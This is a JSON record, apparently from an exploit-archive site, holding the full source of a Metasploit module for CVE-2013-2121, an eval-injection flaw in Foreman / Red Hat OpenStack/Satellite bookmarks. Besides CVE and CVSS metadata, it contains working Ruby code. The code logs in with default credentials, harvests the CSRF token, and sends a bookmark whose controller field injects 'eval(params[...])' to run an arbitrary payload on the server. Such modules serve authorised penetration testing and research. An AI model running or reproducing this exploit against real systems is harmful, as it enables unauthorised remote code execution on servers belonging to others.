{"exploit":{"id":"MSF-linux--http--foreman_openstack_satellite_code_exec","name":"Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection","description":"This module exploits a code injection vulnerability in the 'create' action of 'bookmarks' controller of Foreman and Red Hat OpenStack/Satellite (Foreman 1.2.0-RC1 and earlier).","cves":["CVE-2013-2121"],"author":"Ramon de C Valle","published":"2013-06-06","platform":"Ruby","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb","path":"modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"foreman_openstack_satellite_code_exec.rb","vulnerabilities":[{"id":"CVE-2013-2121","state":"PUBLISHED","title":null,"titleSource":null,"description":"Eval injection vulnerability in the create method in the Bookmarks controller in Foreman before 1.2.0-RC2 allows remote authenticated users with permissions to create bookmarks to execute arbitrary code via a controller name attribute.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-2121","cvss":{"version":"2.0","baseScore":6,"severity":"medium","vectorString":"AV:N/AC:M/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-2121"},"updatedAt":"2024-08-06T15:27:40.678Z","retrievedAt":"2026-11-26T14:26:14.341Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--foreman_openstack_satellite_code_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--foreman_openstack_satellite_code_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--foreman_openstack_satellite_code_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--foreman_openstack_satellite_code_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize\n    super(\n      'Name' => 'Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection',\n      'Description' => %q{\n          This module exploits a code injection vulnerability in the 'create'\n        action of 'bookmarks' controller of Foreman and Red Hat OpenStack/Satellite\n        (Foreman 1.2.0-RC1 and earlier).\n      },\n      'Author' => 'Ramon de C Valle',\n      'License' => MSF_LICENSE,\n      'References' => [\n        ['CVE', '2013-2121'],\n        ['CWE', '95'],\n        ['OSVDB', '94671'],\n        ['BID', '60833'],\n        ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=968166'],\n        ['URL', 'http://projects.theforeman.org/issues/2631']\n      ],\n      'Platform' => 'ruby',\n      'Arch' => ARCH_RUBY,\n      'Privileged' => false,\n      'Targets' => [\n        ['Automatic', {}]\n      ],\n      'DisclosureDate' => '2013-06-06',\n      'DefaultOptions' => { 'PrependFork' => true },\n      'DefaultTarget' => 0\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443),\n        OptBool.new('SSL', [true, 'Use SSL', true]),\n        OptString.new('USERNAME', [true, 'Your username', 'admin']),\n        OptString.new('PASSWORD', [true, 'Your password', 'changeme']),\n        OptString.new('TARGETURI', [ true, 'The path to the application', '/']),\n      ], self.class\n    )\n  end\n\n  def exploit\n    print_status(\"Logging into #{target_url}...\")\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'users', 'login'),\n      'vars_post' => {\n        'login[login]' => datastore['USERNAME'],\n        'login[password]' => datastore['PASSWORD']\n      }\n    )\n\n    fail_with(Failure::Unknown, 'No response from remote host') if res.nil?\n\n    if res.headers['Location'] =~ /users\\/login$/\n      fail_with(Failure::NoAccess, 'Authentication failed')\n    else\n      session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/\n      fail_with(Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?\n    end\n\n    print_status('Retrieving the CSRF token for this session...')\n    res = send_request_cgi(\n      'cookie' => \"_session_id=#{session}\",\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri)\n    )\n\n    fail_with(Failure::Unknown, 'No response from remote host') if res.nil?\n\n    if res.headers['Location'] =~ /users\\/login$/\n      fail_with(Failure::UnexpectedReply, 'Failed to retrieve the CSRF token')\n    else\n      csrf_param = $1 if res.body =~ /<meta[ ]+content=\"(.*)\"[ ]+name=\"csrf-param\"[ ]*\\/?>/i\n      csrf_token = $1 if res.body =~ /<meta[ ]+content=\"(.*)\"[ ]+name=\"csrf-token\"[ ]*\\/?>/i\n\n      if csrf_param.nil? || csrf_token.nil?\n        csrf_param = $1 if res.body =~ /<meta[ ]+name=\"csrf-param\"[ ]+content=\"(.*)\"[ ]*\\/?>/i\n        csrf_token = $1 if res.body =~ /<meta[ ]+name=\"csrf-token\"[ ]+content=\"(.*)\"[ ]*\\/?>/i\n      end\n\n      fail_with(Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil?\n    end\n\n    payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3)\n\n    print_status(\"Sending create-bookmark request to #{target_url('bookmarks')}...\")\n    res = send_request_cgi(\n      'cookie' => \"_session_id=#{session}\",\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'bookmarks'),\n      'vars_post' => {\n        csrf_param => csrf_token,\n        payload_param => payload.encoded,\n        'bookmark[controller]' => \"eval(params[:#{payload_param}])#\",\n        'bookmark[name]' => Rex::Text.rand_text_alpha_lower(rand(9) + 3),\n        'bookmark[query]' => Rex::Text.rand_text_alpha_lower(rand(9) + 3)\n      }\n    )\n  end\n\n  def target_url(*args)\n    (ssl ? 'https' : 'http') +\n      if rport.to_i == 80 || rport.to_i == 443\n        \"://#{vhost}\"\n      else\n        \"://#{vhost}:#{rport}\"\n      end + normalize_uri(target_uri.path, *args)\n  end\nend\n","sha256":"320763741dd344654fc53c97d59d89b2e0beb7ebe7b0abb295bcda3ea78714ec","bytes":4138,"fetchedAt":"2026-11-26T14:26:10.229Z","encoding":"utf-8 (display only; download retains original bytes)"}